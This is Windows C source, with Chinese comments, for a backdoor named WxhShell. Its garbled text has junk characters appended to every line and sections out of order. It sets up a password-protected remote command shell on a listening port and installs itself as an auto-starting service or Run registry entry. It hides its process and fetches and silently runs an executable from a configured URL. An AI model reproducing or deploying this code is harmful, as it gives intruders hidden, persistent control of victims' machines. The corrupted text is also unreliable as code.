ULONG InheritedFromUniqueProcessId; DZ?>9W{
} PROCESS_BASIC_INFORMATION; N+rLbK*
.r)WDR
PROCNTQSIP NtQueryInformationProcess; f(=yC}si
O$J'BnPpw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lY[>}L*H8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ih!UL:Ckh
[&k[k)
HANDLE hProcess; `9B xDp]I
PROCESS_BASIC_INFORMATION pbi; #.?DsK_:@
s/0-DHd
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9aD6mp
if(NULL == hInst ) return 0; ZalG/PFy
1wmS?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Ej `!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }r3,
fH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?d%+85
KYD,eVQ
if (!NtQueryInformationProcess) return 0; oOy@X =cw
E,JDO d}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >^ 0JlL`XG
if(!hProcess) return 0; cBb!7?6(
V=I au_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B 9KY$^J
5F+5J)h
CloseHandle(hProcess); )I9AF,K
Y=sRVypJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mii-Q`.:
if(hProcess==NULL) return 0; Na=9ju
I! {AWfp0
HMODULE hMod; Wxkk^J9F3
char procName[255]; Qf0$Z.-
unsigned long cbNeeded; w~afQA>
k{Vc5F
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `0uKJFg
{H#1wu^]O$
CloseHandle(hProcess); YiB]}/
Qzw~\KY:
if(strstr(procName,"services")) return 1; // 以服务启动 {6^c3R[
C_dsYuQ5R
return 0; // 注册表启动 ~;_]U[eOL
} GeWB"(t
1GN>,Lb:o
// 主模块 [bUM x
int StartWxhshell(LPSTR lpCmdLine) }]>[FW
{ 18z{d9'F
SOCKET wsl; ,RKBGOz?f
BOOL val=TRUE; l<<0:~+q
int port=0; QbP
W_)N
struct sockaddr_in door; w-FZ`OA`D
9*GwW&M%1_
if(wscfg.ws_autoins) Install(); p/
pVMR
M(HU^?B{'
port=atoi(lpCmdLine); $"0t 1
e'[T5HI
if(port<=0) port=wscfg.ws_port; 4*&x% ~*
&eQzfx=|km
WSADATA data; eJ+;!0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p18-yt;
1
{/uBZ(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lAJ)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9vWKyzMi
door.sin_family = AF_INET; F7^8Ej9*a
door.sin_addr.s_addr = inet_addr("127.0.0.1"); e
&^BPzg
door.sin_port = htons(port); t1b$,jHmKl
g_G?gO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L!V`Sb
closesocket(wsl); 3H%R`ha
return 1; j WLZ!a3+
} Bwjd/id q
qGuz`&i
if(listen(wsl,2) == INVALID_SOCKET) { ,pa,:k?
closesocket(wsl); 0 lXV+lj
return 1; %eT4Q~}5"
} `!S5FE"-
Wxhshell(wsl); /D`M?nD7
WSACleanup(); sSd
)MZ]c)JD^
return 0; +P/"bwv0
Wa
#,>
} Hj
|~*kG
V"%2T z
// 以NT服务方式启动 I+D`\OSL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KSIH1E
{ s=(~/p#M
DWORD status = 0; #i-!:6sLA
DWORD specificError = 0xfffffff; m?'5*\(ST
bR?-B>EB
serviceStatus.dwServiceType = SERVICE_WIN32; Fe.Y4\xz
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kuu9'Sqc'b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; auAST;"Z8
serviceStatus.dwWin32ExitCode = 0; 0(|R NV_
serviceStatus.dwServiceSpecificExitCode = 0; F+*>q
serviceStatus.dwCheckPoint = 0; )wP0U{7?v
serviceStatus.dwWaitHint = 0; 1)?^N`xF
{k1s@KXtd
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @I\Z2-J
if (hServiceStatusHandle==0) return; jz't!wj
t!c8c^HR
status = GetLastError(); J9)wt ?%j
if (status!=NO_ERROR) =vT3SY
{ B7nMyoj
serviceStatus.dwCurrentState = SERVICE_STOPPED; AJ2Xq*fk
serviceStatus.dwCheckPoint = 0; B
h@R9O<
serviceStatus.dwWaitHint = 0; ?4Lb *{R
serviceStatus.dwWin32ExitCode = status; [@kzC/Jq3
serviceStatus.dwServiceSpecificExitCode = specificError; _Ta9rDSP]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [?RLvhU|
return; ?*u)T%S
} -kZz,pNQ,
$1H?k
serviceStatus.dwCurrentState = SERVICE_RUNNING; )~_!u}+:(
serviceStatus.dwCheckPoint = 0; WEqHL,Uh]
serviceStatus.dwWaitHint = 0; Bh:AY@k
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j8?$Hk
} Q&(?D
w!:u|
// 处理NT服务事件,比如:启动、停止 CWE
jX-
VOID WINAPI NTServiceHandler(DWORD fdwControl) eM/|"^%
{ \cPGyeq
switch(fdwControl) -4,qAnuMx
{ nuw90=qj!]
case SERVICE_CONTROL_STOP: q\O'r[&V
serviceStatus.dwWin32ExitCode = 0; SjKIn-
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3
C=nC
serviceStatus.dwCheckPoint = 0; _8\Uukm
serviceStatus.dwWaitHint = 0; kOVx]=
{ zF;}b3oIo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P0RMdf
} Z@
h<xo*r
return; ?@|1>epgd
case SERVICE_CONTROL_PAUSE: Qo DWR5*^D
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^*A/92!yF
break; 174H@
case SERVICE_CONTROL_CONTINUE: fB1JU1
serviceStatus.dwCurrentState = SERVICE_RUNNING; gwThhwR
break; :KgLjhj|)
case SERVICE_CONTROL_INTERROGATE: AbZ:AJ(
break; eWqJ 2Tt
}; NxNR;wz>l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uWx/V+w
} PHfGl
aC]~
// 标准应用程序主函数 ?P<&8eY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )prpG !
{ GK95=?f~8;
}w8h^(+B
// 获取操作系统版本 }O2hhh_
OsIsNt=GetOsVer(); O~{Zs\u9
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4E4o=Z|K
>m}.}g8
// 从命令行安装 7Yk6C5C
if(strpbrk(lpCmdLine,"iI")) Install(); UbC)XiO
85"DS-+e
// 下载执行文件 dAEz
hR[=
if(wscfg.ws_downexe) { /,Ln)?eD
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A!fjw
WinExec(wscfg.ws_filenam,SW_HIDE); hx)Ed
} KPW: r#d
|t]-a%A=w
if(!OsIsNt) { 3(^9K2.s}
// 如果时win9x,隐藏进程并且设置为注册表启动 *2MUG
h
HideProc(); Q;m
.m2
StartWxhshell(lpCmdLine); x18ei@c
} b44H2A.
else >P\Tnb"Q\
if(StartFromService()) 70HEu@-
// 以服务方式启动 }xLwv=Ia
StartServiceCtrlDispatcher(DispatchTable);
*}ay
else "^_p>C)T
// 普通方式启动 *sAoYx
StartWxhshell(lpCmdLine); xhUQ.(S`r6
8Y5*
1E*
return 0; rRT9)wDa
} b\=0[kBQw
;a{ Dr
`*}#Bks!
)KXLL;]
=========================================== +]uy
bGK&W;Myk
T%P0M*
{:6VJ0s\
Vy}:Q[
K/MIDH
" nn#A-x}~;b
5U1@wfKE3>
#include <stdio.h> bXJ,L$q
#include <string.h> C!qW:H
#include <windows.h> xBB:b\
#include <winsock2.h> akd~Z
#include <winsvc.h> $|(roC(
#include <urlmon.h> }{iR+MX
14oD^`-t
#pragma comment (lib, "Ws2_32.lib") fD,#z&
#pragma comment (lib, "urlmon.lib") 3XL0Pm
QR4v6*VpD
#define MAX_USER 100 // 最大客户端连接数 Yo7ctwzdH;
#define BUF_SOCK 200 // sock buffer @q^WD_k
#define KEY_BUFF 255 // 输入 buffer #\`6ZHW
gkBat(Uc
#define REBOOT 0 // 重启 H[-zQ#I9
#define SHUTDOWN 1 // 关机 O,^,G<`
>IoOCQQ*
#define DEF_PORT 5000 // 监听端口 !m_'<=)B4~
zw5EaY
#define REG_LEN 16 // 注册表键长度 j{p0yuZ)<
#define SVC_LEN 80 // NT服务名长度 ).v;~yE
OEB_LI'
// 从dll定义API {\]SvoJnJ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mT!~;]RrF
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F>^k<E?,C
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w?Q@"^IL
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IDLA-Vxo
c
(\-7*En
// wxhshell配置信息 OmU.9PDg-
struct WSCFG { ;yHA.}
int ws_port; // 监听端口 s?0r\ cc|:
char ws_passstr[REG_LEN]; // 口令 QQC0uta`
int ws_autoins; // 安装标记, 1=yes 0=no cG"jrQ
char ws_regname[REG_LEN]; // 注册表键名 "G`)x+<~Z8
char ws_svcname[REG_LEN]; // 服务名 vtL)
char ws_svcdisp[SVC_LEN]; // 服务显示名 )}paQmy#
char ws_svcdesc[SVC_LEN]; // 服务描述信息 >Pv%E
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dZnq 96<:|
int ws_downexe; // 下载执行标记, 1=yes 0=no N.&)22<m9
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uX.Aq@j
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Ziq~{W_
X^aujK^@
}; QF%@MK0zC
T( ;BEyc?
// default Wxhshell configuration M.|hnGXN
struct WSCFG wscfg={DEF_PORT, o^7NZ]m
"xuhuanlingzhe", Ui?t@.
1, D.?KgOZ
"Wxhshell", ^]aDLjD
"Wxhshell", P6IhpB59
"WxhShell Service", YdeSJ(:
"Wrsky Windows CmdShell Service", dX+DE(y
"Please Input Your Password: ", Q@d X2
1, (5Cm+Sy
"http://www.wrsky.com/wxhshell.exe", $]Fe9E?
"Wxhshell.exe" jq}5(*k
}; ={z YcVI
-sc@SoS
// 消息定义模块 hKX-]+6"
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D}3E1`)W
char *msg_ws_prompt="\n\r? for help\n\r#>"; }r,k*I'K
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QV?\?9(
char *msg_ws_ext="\n\rExit."; VK$+Nm)
char *msg_ws_end="\n\rQuit."; 0'L+9T5
char *msg_ws_boot="\n\rReboot..."; i(U*<1y
char *msg_ws_poff="\n\rShutdown..."; rRsLl/d
char *msg_ws_down="\n\rSave to "; Dj<Vn%d*
7&T1RB'>
char *msg_ws_err="\n\rErr!"; u9VJ{F
char *msg_ws_ok="\n\rOK!";
/D~z}\k
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char ExeFile[MAX_PATH]; B&.XGo)
int nUser = 0; 2Db[dk( ]
HANDLE handles[MAX_USER]; C9bf1ddCW&
int OsIsNt; Gc
SX5c
4|Z3;;%+
SERVICE_STATUS serviceStatus; C:P, q6
SERVICE_STATUS_HANDLE hServiceStatusHandle; CZbp}:|
:L\@+}{(c
// 函数声明 bLf }U9
int Install(void); ~~yo& ]
int Uninstall(void); OFDPtJ wV
int DownloadFile(char *sURL, SOCKET wsh); RJd55+h
int Boot(int flag); [kC-g @
void HideProc(void); y;Dw%m
int GetOsVer(void); tSQ>P -O
int Wxhshell(SOCKET wsl); ?rr%uXQjH
void TalkWithClient(void *cs); 53l9s<bOQ
int CmdShell(SOCKET sock); :r#FI".qx
int StartFromService(void); a2p<HW;)m
int StartWxhshell(LPSTR lpCmdLine); (wbG0lu
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &4BN9`|:
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V1"+4&R^T_
'f5,%e2#
// 数据结构和表定义 ]2Lwd@
SERVICE_TABLE_ENTRY DispatchTable[] = [qid4S~r,&
{ &LYU#$sj
{wscfg.ws_svcname, NTServiceMain}, pT[C[h:
{NULL, NULL} \9D
'7/$I,
}; e'7!aysj
#M8"b]oh6
// 自我安装 eR5swy&
int Install(void) 2;6p2GNSh
{ "CLd_H*)c
char svExeFile[MAX_PATH]; h^[K= J
HKEY key; 2Uk$9s
strcpy(svExeFile,ExeFile); mtJI#P
8HTV"60hTs
// 如果是win9x系统,修改注册表设为自启动 oYqlN6n,=6
if(!OsIsNt) { b]*9![_
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <EpP;
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (u$Q
RegCloseKey(key); m2VF}%
EIr
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2&5"m;<
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {mueP6Gz@J
RegCloseKey(key); (obeEH5J
return 0; N5oao'7|A
} P_i2yhpK
} =">O;L.xj
} v\f 41M7D
else { nc&V59*
FtE%<QHt
// 如果是NT以上系统,安装为系统服务 X"'}1o
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WvN5IHo 8i
if (schSCManager!=0) <PJwBA %{
{ G~^Pkl3%T
SC_HANDLE schService = CreateService w{Dk,9>w)
( [h,T.zpa
schSCManager, 13
wscfg.ws_svcname, n; !t?jnf.
wscfg.ws_svcdisp, :IS]|3wD
SERVICE_ALL_ACCESS, )/f,.Z$
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }4ta#T Ea
SERVICE_AUTO_START, {$Fg+~
SERVICE_ERROR_NORMAL, @\[&_DZ
svExeFile, gxL5%:@
NULL, >dZ x+7
NULL, K3 "co1]u
NULL, n_?<q{GW
NULL, Po=)jkW
NULL 0y|}}92:
); Vk>aU3\c
if (schService!=0) 9j9A'Y9(
{ qTiX;e\W
CloseServiceHandle(schService); }U+gJkY2
CloseServiceHandle(schSCManager); j1<@*W&b
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GD.mB[f*
strcat(svExeFile,wscfg.ws_svcname); nvpdu)q<